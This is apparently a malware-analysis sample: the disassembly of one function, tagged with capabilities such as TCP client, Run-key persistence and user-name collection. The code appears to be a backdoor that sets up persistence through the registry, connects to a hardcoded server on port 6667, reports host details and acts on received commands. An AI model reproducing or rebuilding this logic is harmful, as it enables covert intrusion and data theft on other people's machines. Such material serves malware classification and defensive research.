Function at 0x405cfc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get session user name
Initialize winsock library
Persist via run registry key
Query or enumerate registry value
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3c
push 0
push 0
dec ecx
jne 0x405d04
push ecx
push ebx
push esi
push edi
mov eax, 0x405c94
call fcn.004042b8
mov esi, 0x4088d4
mov edi, 0x4088c0
mov ebx, 0x408d00
xor eax, eax
push ebp
push 0x406743
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x800
call fcn.00402474
mov dword [ebx], eax
push ebx
push 1
mov ecx, 0x40675c
mov edx, 0x406774
mov eax, 0x80000002
call fcn.00405210
lea edx, [ebp - 0x14]
mov eax, dword [ebx]
call fcn.00404aa4
mov edx, dword [ebp - 0x14]
mov eax, 0x408d04
call fcn.00403b04
push ebx
push 1
mov ecx, 0x4067a8
mov edx, 0x406774
mov eax, 0x80000002
call fcn.00405210
lea edx, [ebp - 0x18]
mov eax, dword [ebx]
call fcn.00404aa4
mov edx, dword [ebp - 0x18]
mov eax, 0x408d0c
call fcn.00403b04
mov eax, dword [ebx]
call fcn.00402494
push 0
push 0
push 1
push 0x61
call sub.user32.dll_GetKeyboardType
mov eax, 0x64
call fcn.00402474
mov dword [0x408cf8], eax
push 0x64
mov eax, dword [0x408cf8]
push eax
call fcn.0040440c
lea eax, [ebp - 0x11c]
mov edx, dword [0x408cf8]
call fcn.00402c8c
lea edx, [ebp - 0x11c]
lea eax, [ebp - 0x1c]
call fcn.00403c28
mov edx, dword [ebp - 0x1c]
mov eax, 0x408cec
mov ecx, 0x4067b8
call fcn.00403c98
mov edx, 0x408cf0
xor eax, eax
call fcn.004026f0
mov eax, dword [0x408cf0]
call fcn.00403c4c
mov ebx, eax
cmp ebx, 1
jl 0x405e5c
mov eax, dword [0x408cf0]
cmp byte [eax + ebx - 1], 0x5c
jne 0x405e57
push 0x408cf4
lea edx, [ebx + 1]
mov ecx, 0x64
mov eax, dword [0x408cf0]
call fcn.00403ea4
push 0x408cf0
mov ecx, ebx
mov edx, 1
mov eax, dword [0x408cf0]
call fcn.00403ea4
jmp 0x405e5c
dec ebx
test ebx, ebx
jne 0x405e1c
mov eax, dword [0x408cf8]
call fcn.00402494
mov eax, dword [0x408cf4]
call main
push eax
push 0xffffffffffffffff
push 0
call fcn.004043bc
call fcn.004043e4
cmp eax, 0xb7
jne 0x405e8d
xor eax, eax
call fcn.00403a98
push 0x408cfc
push 0x4067bc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
push 1
lea eax, [ebp - 0x120]
mov ecx, 0x4067f4
mov edx, dword [0x408cec]
call fcn.00403c98
mov eax, dword [ebp - 0x120]
call main
push eax
push 1
push 0
push 0x406804
mov eax, dword [0x408cfc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [0x408cfc]
push eax
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [0x408cf0]
mov edx, dword [0x408cec]
call fcn.00403d90
je 0x405f66
push 0
lea eax, [ebp - 0x124]
mov ecx, 0x4067f4
mov edx, dword [0x408cec]
call fcn.00403c98
mov eax, dword [ebp - 0x124]
call main
push eax
lea edx, [ebp - 0x128]
xor eax, eax
call fcn.004026f0
mov eax, dword [ebp - 0x128]
call main
push eax
call fcn.004043ac
push 5
lea eax, [ebp - 0x12c]
mov ecx, 0x4067f4
mov edx, dword [0x408cec]
call fcn.00403c98
mov eax, dword [ebp - 0x12c]
call main
push eax
call fcn.00404424
jmp 0x406718
push 0x408730
push 0x101
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [edi], eax
mov word [0x4088c4], 2
push 0x1a0b
call sub.wsock32.dll_htons
mov word [0x4088c6], ax
push 0x406810
call sub.wsock32.dll_inet_addr
mov dword [0x4088c8], eax
push 0x10
push 0x4088c4
mov eax, dword [edi]
push eax
call sub.wsock32.dll_connect
inc eax
jne 0x405fc8
push 0x88b8
call fcn.0040441c
jmp 0x405f66
mov eax, 0x408dbc
mov edx, 0x406828
call fcn.00403b04
call fcn.0040542c
call fcn.00405b0c
call fcn.00402750
lea edx, [ebp - 0x130]
mov eax, 6
call fcn.00404740
mov edx, dword [ebp - 0x130]
mov eax, 0x408d20
call fcn.00403b04
lea edx, [ebp - 0x134]
mov eax, 5
call fcn.00404740
mov edx, dword [ebp - 0x134]
mov eax, 0x408d10
call fcn.00403b04
lea edx, [ebp - 0x138]
mov eax, 5
call fcn.00404740
mov edx, dword [ebp - 0x138]
mov eax, 0x408d18
call fcn.00403b04
lea edx, [ebp - 0x13c]
mov eax, 3
call fcn.00404740
mov edx, dword [ebp - 0x13c]
mov eax, 0x408d1c
call fcn.00403b04
lea edx, [ebp - 0x140]
mov eax, 4
call fcn.00404740
mov edx, dword [ebp - 0x140]
mov eax, 0x408d14
call fcn.00403b04
push 0x406874
push dword [0x408d14]
push 0x406884
push dword [0x408d10]
push 0x406884
push dword [0x408d10]
push 0x406884
push 0x406890
push dword [0x408d14]
push 0x40689c
push dword [0x408d18]
push 0x4068a8
push dword [0x408d1c]
push 0x4068b4
lea eax, [ebp - 0x148]
mov edx, 0xe
call fcn.00403d0c
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.00404f90
push 0x4068c0
push dword [0x408d20]
push 0x4068d0
lea eax, [ebp - 0x150]
mov edx, 3
call fcn.00403d0c
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.00404f90
push 0
push 0
mov eax, dword [edi]
push eax
call sub.wsock32.dll_accept
cmp dword [edi], 0xffffffff
je 0x406124
cmp dword [edi], 0xffffffff
je 0x406718
push 0
push 0x400
push esi
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
test eax, eax
je 0x4066fc
mov eax, 0x408cd8
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x158]
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
mov eax, dword [ebp - 0x158]
mov ecx, 0x20
mov edx, 2
call fcn.00404960
mov eax, dword [ebp - 0x154]
mov edx, 0x4068dc
call fcn.00403d90
jne 0x4065ca
push 0x408ce4
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x160]
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
mov eax, dword [ebp - 0x160]
mov ecx, 0x21
mov edx, 1
call fcn.00404960
mov eax, dword [ebp - 0x15c]
mov ecx, 0x64
mov edx, 2
call fcn.00403ea4
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x168]
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
mov eax, dword [ebp - 0x168]
mov ecx, 0x20
mov edx, 3
call fcn.00404960
mov edx, dword [ebp - 0x164]
mov eax, 0x408ce0
call fcn.00403b04
push 0x408ce8
lea eax, [ebp - 0x16c]
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
mov edx, dword [ebp - 0x16c]
mov eax, 0x4068ec
call fcn.00403f2c
add eax, 2
push eax
lea eax, [ebp - 0x170]
mov edx, esi
mov ecx, 0x401
call fcn.00403c34
mov eax, dword [ebp - 0x170]
mov ecx, 0x3e8
pop edx
call fcn.00403ea4
push 0x408ce8
mov eax, dword [0x408ce8]
call fcn.00403c4c
mov ecx, eax
sub ecx, 2
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00403ea4
lea eax, [ebp - 0x178]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00404960
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.00404884
mov eax, dword [ebp - 0x174]
mov edx, 0x4068f8
call fcn.00403d90
jne 0x406331
lea eax, [ebp - 0x180]
push eax
mov edx, dword [0x408ce8]
mov eax, 0x406884
call fcn.00403f2c
inc eax
push eax
mov eax, dword [0x408ce8]
call fcn.00403c4c
mov ecx, eax
mov eax, dword [0x408ce8]
pop edx
call fcn.00403ea4
lea eax, [ebp - 0x180]
mov edx, 0x4068d0
call fcn.00403c54
mov eax, dword [ebp - 0x180]
lea edx, [ebp - 0x17c]
call fcn.00404f90
lea eax, [ebp - 0x188]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00404960
mov eax, dword [ebp - 0x188]
lea edx, [ebp - 0x184]
call fcn.00404884
mov eax, dword [ebp - 0x184]
mov edx, 0x406908
call fcn.00403d90
jne 0x40645b
mov dword [0x408d24], 0x94
push 0x408d24
call fcn.00404404
cmp dword [0x408d34], 2
jne 0x4063d0
push 0x40691c
lea edx, [ebp - 0x18c]
mov eax, dword [0x408d28]
call fcn.00404808
push dword [ebp - 0x18c]
lea edx, [ebp - 0x190]
mov eax, dword [0x408d2c]
call fcn.00404808
push dword [ebp - 0x190]
mov eax, 0x408d0c
mov edx, 3
call fcn.00403d0c
mov eax, 0x64
call fcn.00402474
mov ebx, eax
mov dword [0x408db8], 0x64
push 0x408db8
push ebx
call sub.advapi32.dll_GetUserNameA
mov eax, 0x408d08
mov edx, ebx
call fcn.00403bf8
mov eax, ebx
call fcn.00402494
push 0x406930
push dword [0x408ce0]
push 0x406944
push dword [0x408d0c]
push 0x40695c
push dword [0x408d08]
push 0x40696c
push dword [0x408d04]
push 0x4068d0
push 0x406978
lea eax, [ebp - 0x198]
mov edx, 0xa
call fcn.00403d0c
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x194]
call fcn.00404f90
lea eax, [ebp - 0x1a0]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00404960
mov eax, dword [ebp - 0x1a0]
lea edx, [ebp - 0x19c]
call fcn.00404884
mov eax, dword [ebp - 0x19c]
mov edx, 0x406984
call fcn.00403d90
jne 0x4064a5
xor edx, edx
mov eax, 0x42
call fcn.0040443c
lea eax, [ebp - 0x1a8]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00404960
mov eax, dword [ebp - 0x1a8]
lea edx, [ebp - 0x1a4]
call fcn.00404884
mov eax, dword [ebp - 0x1a4]
mov edx, 0x406994
call fcn.00403d90
jne 0x406540
push 0x406930
push dword [0x408ce0]
push 0x4069a4
call fcn.004045e4
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1b4]
call fcn.00404840
push dword [ebp - 0x1b4]
push 0x4069b8
push 0x4068d0
push 0x406978
lea eax, [ebp - 0x1b0]
mov edx, 7
call fcn.00403d0c
mov eax, dword [ebp - 0x1b0]
lea edx, [ebp - 0x1ac]
call fcn.00404f90
lea eax, [ebp - 0x1bc]
push eax
mov ecx, 0x20
mov edx, 1
mov eax, dword [0x408ce8]
call fcn.00404960
mov eax, dword [ebp - 0x1bc]
lea edx, [ebp - 0x1b8]
call fcn.00404884
mov eax, dword [ebp - 0x1b8]
mov edx, 0x4069cc
call fcn.00403d90
jne 0x4065ca
push 0x406930
push dword [0x408ce0]
push 0x4069e0
lea eax, [ebp - 0x1c8]
call fcn.00404518
push dword [ebp - 0x1c8]
push 0x4068d0
push 0x406978
lea eax, [ebp - 0x1c4]
mov edx, 6
call fcn.00403d0c
mov eax, dword [ebp - 0x1c4]
lea edx, [ebp - 0x1c0]
call fcn.00404f90
mov edx, dword [0x408cd8]
mov eax, 0x4068dc
call fcn.00403f2c
test eax, eax
jne 0x4066e9
mov edx, dword [0x408cd8]
mov eax, 0x4069f0
call fcn.00403f2c
test eax, eax
je 0x4066a4
mov edx, dword [0x408cd8]
mov eax, 0x406890
call fcn.00403f2c
mov ebx, eax
push 0x408cdc
mov eax, dword [0x408cd8]
call fcn.00403c4c
mov ecx, eax
sub ecx, 5
lea edx, [ebx + 1]
mov eax, dword [0x408cd8]
call fcn.00403ea4
push 0x406a00
push dword [0x408cdc]
push 0x4068d0
lea eax, [ebp - 0x1d0]
mov edx, 3
call fcn.00403d0c
mov eax, dword [ebp - 0x1d0]
lea edx, [ebp - 0x1cc]
call fcn.00404f90
lea edx, [ebp - 0x1d4]
mov eax, 0x406a10
call fcn.00404f90
push 0x406a28
push dword [0x408d20]
push 0x406a38
push 0x4068d0
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.00403d0c
mov eax, dword [ebp - 0x1dc]
lea edx, [ebp - 0x1d8]
call fcn.00404f90
push 0x406a44
push dword [0x408d20]
push 0x4068ec
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00403d0c
mov eax, dword [ebp - 0x1e0]
mov edx, dword [0x408cd8]
call fcn.00403f2c
test eax, eax
je 0x4066e9
lea edx, [ebp - 0x1e4]
mov eax, 0x406a10
call fcn.00404f90
push esi
push edi
mov edi, esi
mov esi, 0x406a4c
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push esi
push edi
mov edi, esi
mov esi, 0x406a4c
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
cmp dword [edi], 0xffffffff
jne 0x40613e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40674a
lea eax, [ebp - 0x1e4]
mov edx, 0x32
call fcn.00403ad4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403ad4
ret